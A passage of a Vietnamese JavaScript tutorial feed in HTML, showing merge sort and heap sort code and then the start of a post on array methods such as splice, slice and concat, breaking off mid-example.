class="token function">push</span><span class="token punctuation">(</span>array<span class="token punctuation">[</span>r<span class="token operator">++</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">while</span> <span class="token punctuation">(</span>l <span class="token operator">&lt;=</span> m<span class="token punctuation">)</span> tmp<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>array<span class="token punctuation">[</span>l<span class="token operator">++</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">while</span> <span class="token punctuation">(</span>r <span class="token operator">&lt;=</span> right<span class="token punctuation">)</span> tmp<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>array<span class="token punctuation">[</span>r<span class="token operator">++</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> tmp<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> array<span class="token punctuation">[</span>i <span class="token operator">+</span> left<span class="token punctuation">]</span> <span class="token operator">=</span> tmp<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">function</span> <span class="token function">mergeSort</span><span class="token punctuation">(</span><span class="token parameter">array<span class="token punctuation">,</span> left<span class="token punctuation">,</span> right</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>left <span class="token operator">&lt;</span> right<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> m <span class="token operator">=</span> Math<span class="token punctuation">.</span><span class="token function">floor</span><span class="token punctuation">(</span><span class="token punctuation">(</span>left <span class="token operator">+</span> right<span class="token punctuation">)</span> <span class="token operator">/</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">mergeSort</span><span class="token punctuation">(</span>array<span class="token punctuation">,</span> left<span class="token punctuation">,</span> m<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">mergeSort</span><span class="token punctuation">(</span>array<span class="token punctuation">,</span> m <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">,</span> right<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">merge</span><span class="token punctuation">(</span>array<span class="token punctuation">,</span> left<span class="token punctuation">,</span> m<span class="token punctuation">,</span> right<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <h3 id="sắp-xếp-vun-đống---heap-sort" style="position:relative;"><a href="#s%E1%BA%AFp-x%E1%BA%BFp-vun-%C4%91%E1%BB%91ng---heap-sort" aria-label="sắp xếp vun đống heap sort permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sắp xếp vun đống - Heap Sort</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">heapify</span><span class="token punctuation">(</span><span class="token parameter">array<span class="token punctuation">,</span> <span class="token constant">N</span><span class="token punctuation">,</span> i</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> left <span class="token operator">=</span> <span class="token number">2</span> <span class="token operator">*</span> i <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">,</span> right <span class="token operator">=</span> <span class="token number">2</span> <span class="token operator">*</span> i <span class="token operator">+</span> <span class="token number">2</span><span class="token punctuation">,</span> largest<span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>left <span class="token operator">&lt;</span> <span class="token constant">N</span> <span class="token operator">&amp;&amp;</span> array<span class="token punctuation">[</span>left<span class="token punctuation">]</span> <span class="token operator">></span> array<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span> largest <span class="token operator">=</span> left<span class="token punctuation">;</span> <span class="token keyword">else</span> largest <span class="token operator">=</span> i<span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>right <span class="token operator">&lt;</span> <span class="token constant">N</span> <span class="token operator">&amp;&amp;</span> array<span class="token punctuation">[</span>right<span class="token punctuation">]</span> <span class="token operator">></span> array<span class="token punctuation">[</span>largest<span class="token punctuation">]</span><span class="token punctuation">)</span> largest <span class="token operator">=</span> right<span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>largest <span class="token operator">!=</span> i<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> t <span class="token operator">=</span> array<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span> array<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> array<span class="token punctuation">[</span>largest<span class="token punctuation">]</span><span class="token punctuation">;</span> array<span class="token punctuation">[</span>largest<span class="token punctuation">]</span> <span class="token operator">=</span> t<span class="token punctuation">;</span> <span class="token function">heapify</span><span class="token punctuation">(</span>array<span class="token punctuation">,</span> <span class="token constant">N</span><span class="token punctuation">,</span> largest<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">function</span> <span class="token function">buildHeap</span><span class="token punctuation">(</span><span class="token parameter">array</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> m <span class="token operator">=</span> Math<span class="token punctuation">.</span><span class="token function">floor</span><span class="token punctuation">(</span>array<span class="token punctuation">.</span>length <span class="token operator">/</span> <span class="token number">2</span> <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> m<span class="token punctuation">;</span> i <span class="token operator">>=</span> <span class="token number">0</span><span class="token punctuation">;</span> i<span class="token operator">--</span><span class="token punctuation">)</span> <span class="token function">heapify</span><span class="token punctuation">(</span>array<span class="token punctuation">,</span> array<span class="token punctuation">.</span>length<span class="token punctuation">,</span> i<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">function</span> <span class="token function">heapSort</span><span class="token punctuation">(</span><span class="token parameter">array</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">buildHeap</span><span class="token punctuation">(</span>array<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> array<span class="token punctuation">.</span>length <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">;</span> i <span class="token operator">>=</span> <span class="token number">0</span><span class="token punctuation">;</span> i<span class="token operator">--</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> t <span class="token operator">=</span> array<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span> array<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> array<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span> array<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> t<span class="token punctuation">;</span> <span class="token function">heapify</span><span class="token punctuation">(</span>array<span class="token punctuation">,</span> i<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Trên đây là những vấn đề cơ bản về sắp xếp mảng trong JavaScript, cùng với một số thuật toán sắp xếp mảng 1 chiều. Theo mình, đây là những kiến thức cơ bản và có thể được áp dụng rất nhiều.</p>[email protected]<![CDATA[Các phương thức của mảng trong JavaScript]]><![CDATA[Có rất nhiều phương thức của mảng trong JavaScript. Nhờ đó, việc xử lý mảng trở nên dễ dàng hơn. Sau đây, mình sẽ tìm hiểu chi tiết về các phương thức xử lý mảng phổ biến nhất. Các…]]>https://completejavascript.com/phuong-thuc-cua-mang-trong-javascript/https://completejavascript.com/phuong-thuc-cua-mang-trong-javascript/<![CDATA[Array]]><![CDATA[Kiểu dữ liệu]]>Mon, 29 May 2017 20:00:00 GMT<p>Có rất nhiều phương thức của mảng trong JavaScript. Nhờ đó, việc xử lý mảng trở nên dễ dàng hơn. Sau đây, mình sẽ tìm hiểu chi tiết về các phương thức xử lý mảng phổ biến nhất.</p> <h2 id="các-phương-thức-thêmxóa-phần-tử-mảng" style="position:relative;"><a href="#c%C3%A1c-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-th%C3%AAmx%C3%B3a-ph%E1%BA%A7n-t%E1%BB%AD-m%E1%BA%A3ng" aria-label="các phương thức thêmxóa phần tử mảng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các phương thức thêm/xóa phần tử mảng</h2> <p>Trong bài viết <a href="/array-la-gi-array-trong-javascript/">Array là gì? Array trong JavaScript</a>, mình đã giới thiệu 4 phương thức cơ bản của mảng là:</p> <ul> <li>Phương thức <code>arr.push(...items)</code>: thêm một hoặc nhiều phần tử vào cuối mảng.</li> <li>Phương thức <code>arr.pop()</code>: lấy ra và trả về phần tử cuối cùng của mảng.</li> <li>Phương thức <code>arr.shift()</code>: lấy ra và trả về phần tử đầu tiên của mảng.</li> <li>Phương thức <code>arr.unshift(...items)</code>: thêm một hoặc nhiều phần tử vào đầu mảng.</li> </ul> <p>Ngoài ra, còn nhiều phương thức của mảng trong JavaScript nữa.</p> <h3 id="phương-thức-splice" style="position:relative;"><a href="#ph%C6%B0%C6%A1ng-th%E1%BB%A9c-splice" aria-label="phương thức splice permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phương thức <code>splice</code></h3> <p>Làm sao để xóa phần tử bất kỳ trong mảng?</p> <p>Dĩ nhiên, mảng trong JavaScript cũng là <a href="/object-la-gi-object-trong-javascript/">object</a>. Nghĩa là bạn có thể dùng <code>delete</code> để xóa một phần tử bất kỳ trong mảng dựa vào chỉ số.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> letters <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">delete</span> letters<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// xóa phần tử "b"</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">.</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span></code></pre></div> <p>Vấn đề xảy ra là: mặc dù bạn đã xóa một phần tử trong mảng, nhưng độ dài của mảng <code>length</code> vẫn không đổi (bằng 3). Bởi vì, <code>delete obj.key</code> chỉ xóa giá trị của thuộc tính <code>key</code> trong object.</p> <p>Cái chúng ta mong muốn là: khi xóa phần tử của mảng thì độ dài mảng phải giảm đi. Đó chính là lý do phương thức <code>splice</code> ra đời.</p> <p>Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice"><code>arr.splice</code></a> có thể <strong>xóa, thêm hoặc thay thế</strong> phần tử của mảng. Cú pháp phương thức <code>splice</code> là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">arr<span class="token punctuation">.</span><span class="token function">splice</span><span class="token punctuation">(</span>start<span class="token punctuation">[</span><span class="token punctuation">,</span> deleteCount<span class="token punctuation">,</span> elem1<span class="token punctuation">,</span><span class="token operator">...</span><span class="token punctuation">,</span> elemN<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Phương thức <code>splice</code> xử lý mảng tại vị trí có chỉ số <code>start</code> bằng cách: xóa đi <code>deleteCount</code> phần tử, rồi chèn thêm các phần tử <code>elem1,... elemN</code> vào đúng vị trí đó. Sau đó, trả về mảng của những phần tử bị xóa.</p> <p>Ví dụ xóa đi 1 phần tử tại vị trí 1:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> letters <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// từ vị trí có chỉ số 1, xóa đi 1 phần tử</span> letters<span class="token punctuation">.</span><span class="token function">splice</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (2) ['a', 'c']</span></code></pre></div> <p>Ví dụ xóa đi 3 phần tử tại vị trí đầu tiên và thêm 2 phần tử khác:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> letters <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// từ vị trí có chỉ số 0, xóa đi 3 phần tử, rồi thêm vào 2 phần tử</span> letters<span class="token punctuation">.</span><span class="token function">splice</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token string">"d"</span><span class="token punctuation">,</span> <span class="token string">"e"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (2) ['d', 'e']</span></code></pre></div> <p>Ví dụ trả về mảng các phần tử bị xóa:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> letters <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// từ vị trí có chỉ số 1, xóa đi 2 phần tử là "b", "c"</span> <span class="token comment">// rồi thêm vào 1 phần tử "d"</span> <span class="token keyword">let</span> arr <span class="token operator">=</span> letters<span class="token punctuation">.</span><span class="token function">splice</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token string">"d"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (2) ['a', 'd']</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (2) ['b', 'c'] -> mảng các phần tử bị xóa</span></code></pre></div> <p>Phương thức <code>splice</code> cũng có thể <strong>thêm phần tử vào mảng mà không cần xóa đi phần tử nào</strong>, bằng cách truyền vào giá trị <code>deleteCount</code> bằng 0.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> letters <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> letters<span class="token punctuation">.</span><span class="token function">splice</span><span class="token punctuation">(</span><span class="token string">"1"</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token string">"d"</span><span class="token punctuation">,</span> <span class="token string">"e"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (5) ['a', 'd', 'e', 'b', 'c']</span></code></pre></div> <p>Phương thức <code>splice</code> chấp nhận <strong>chỉ số âm</strong>. Nếu chỉ số âm thì <strong>thứ tự đếm là từ cuối lên đầu</strong>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> letters <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// chỉ số bằng -1 tức đếm 1 đơn vị từ cuối lên</span> <span class="token comment">// xóa đi 0 phần tử</span> <span class="token comment">// rồi chèn thêm 2 phần tử "d" và "e"</span> letters<span class="token punctuation">.</span><span class="token function">splice</span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token string">"d"</span><span class="token punctuation">,</span> <span class="token string">"e"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>letters<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (5) ['a', 'b', 'd', 'e', 'c']</span></code></pre></div> <h3 id="phương-thức-slice" style="position:relative;"><a href="#ph%C6%B0%C6%A1ng-th%E1%BB%A9c-slice" aria-label="phương thức slice permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phương thức <code>slice</code></h3> <p>Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice"><code>arr.slice</code></a> đơn giản hơn phương thức <code>arr.splice</code>.</p> <p>Cú pháp phương thức <code>slice</code> là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">arr<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token punctuation">[</span>start<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span>end<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Phương thức này <strong>trả về mảng mới</strong> bằng cách copy mảng ban đầu từ vị trí <code>start</code> đến vị trí <code>end</code> (không bao gồm <code>end</code>). Cả hai giá trị <code>start</code> và <code>end</code> đều có thể âm, khi đó việc đếm được tính từ cuối của mảng.</p> <p>Phương thức của array <code>arr.slice</code> tương tự như phương thức của string <code>str.slice</code>, chỉ khác là trả về <strong>subarray</strong> chứ không phải là <strong>substring</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> letters <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">,</span> <span class="token string">"d"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// copy mảng letters từ vị trí 1 đến vị trí 3</span> <span class="token keyword">let</span> arr1 <span class="token operator">=</span> letters<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (2) ['b', 'c']</span> <span class="token comment">// copy mảng letters từ vị trí số 2 từ cuối lên đến cuối mảng</span> <span class="token keyword">let</span> arr2 <span class="token operator">=</span> letters<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (2) ['c', 'd']</span></code></pre></div> <h3 id="phương-thức-concat" style="position:relative;"><a href="#ph%C6%B0%C6%A1ng-th%E1%BB%A9c-concat" aria-label="phương thức concat permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phương thức <code>concat</code></h3> <p>Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/concat"><code>arr.concat</code></a> trả về array mới bao gồm các giá trị của <code>arr</code> ban đầu, cộng thêm giá trị các phần tử trong array thêm vào hoặc các giá trị khác.</p> <p>Cú pháp phương thức <code>arr.concat</code> là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">arr<span class="token punctuation">.</span><span class="token function">concat</span><span class="token punctuation">(</span>arg1<span class="token punctuation">,</span> arg2<span class="token punctuation">,</span><span class="token operator">...</span><span class="token punctuation">)</span></code></pre></div> <p>Phương thức này chấp nhận <strong>số lượng tham số tùy ý</strong>. Và giá trị của <code>arg1, arg2,...</code> có thể là mảng hoặc giá trị khác.</p> <p>Giả sử phần tử <code>argN</code> là mảng thì tất cả các phần tử trong mảng <code>argN</code> được sao chép. Ngược lại, nếu giá trị của <code>argN</code> không phải mảng thì giá trị của chính nó được copy vào mảng, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr1 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// tạo mảng mới từ mảng arr1 và mảng [3, 4]</span> <span class="token keyword">let</span> arr2 <span class="token operator">=</span> arr1<span class="token punctuation">.</span><span class="token function">concat</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (4) [1, 2, 3, 4]</span> <span class="token comment">// tạo mảng mới từ mảng arr1 và mảng [3, 4] và [5, 6]</span> <span class="token keyword">let</span> arr3 <span class="token operator">=</span> arr1<span class="token punctuation">.</span><span class="token function">concat</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr3<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (6) [1, 2, 3, 4, 5, 6]</span> <span class="token comment">// tạo mảng mới từ mảng arr1 và mảng [3, 4] cùng với các giá trị 5, 6</span> <span class="token keyword">let</span> arr4 <span class="token operator">=</span> arr1<span class="token punctuation">.</span><span class="token function">concat</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr4<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (6) [1, 2, 3, 4, 5, 6]</span></code></pre></div> <p>Bình thường, phương thức <code>concat</code> chỉ copy các phần tử từ mảng. Nhưng với các object khác, thậm chí là dạng <strong>array-like</strong> (có <strong>chỉ số</strong> và thuộc tính <code>length</code>) thì giá trị của object cũng được copy vào:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> arrayLike <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token number">0</span><span class="token operator">:</span> <span class="token string">"hello"</span><span class="token punctuation">,</span> <span class="token literal-property property">length</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// copy toàn bộ object vào mảng</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">.</span><span class="token function">concat</span><span class="token punctuation">(</span>arrayLike<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (3) [1, 2, {...}]</span></code></pre></div> <p>Nhưng nếu object <strong>array-like</strong> đó có <strong>thuộc tính đặc biệt</strong> là <code>Symbol.isConcatSpreadable</code> thì cách xử lý hoàn toàn giống như của mảng bình thường:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> arrayLike <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token number">0</span><span class="token operator">:</span> <span class="token string">"hello"</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token operator">:</span> <span class="token string">"hi"</span><span class="token punctuation">,</span> <span class="token literal-property property">length</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token punctuation">[</span>Symbol<span class="token punctuation">.</span>isConcatSpreadable<span class="token punctuation">]</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// từng phần tử của mảng được copy 